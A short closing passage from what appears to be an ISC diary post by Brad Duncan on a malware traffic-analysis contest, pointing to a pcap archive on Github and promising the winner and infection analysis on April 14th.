Again, the zip archive with a pcap of the traffic for this exercise is available in this Github repository.  The winner of today's contest and analysis of the infection will be posted in an upcoming ISC diary two weeks from today on Wednesday April 14th.

I think the Raspberry Pi is an older model like a Raspberry Pi 2 or Raspberry Pi 3, but I will find out and update or add a comment to this diary.


Brad Duncan
brad [at] malware-traffic-analysis.net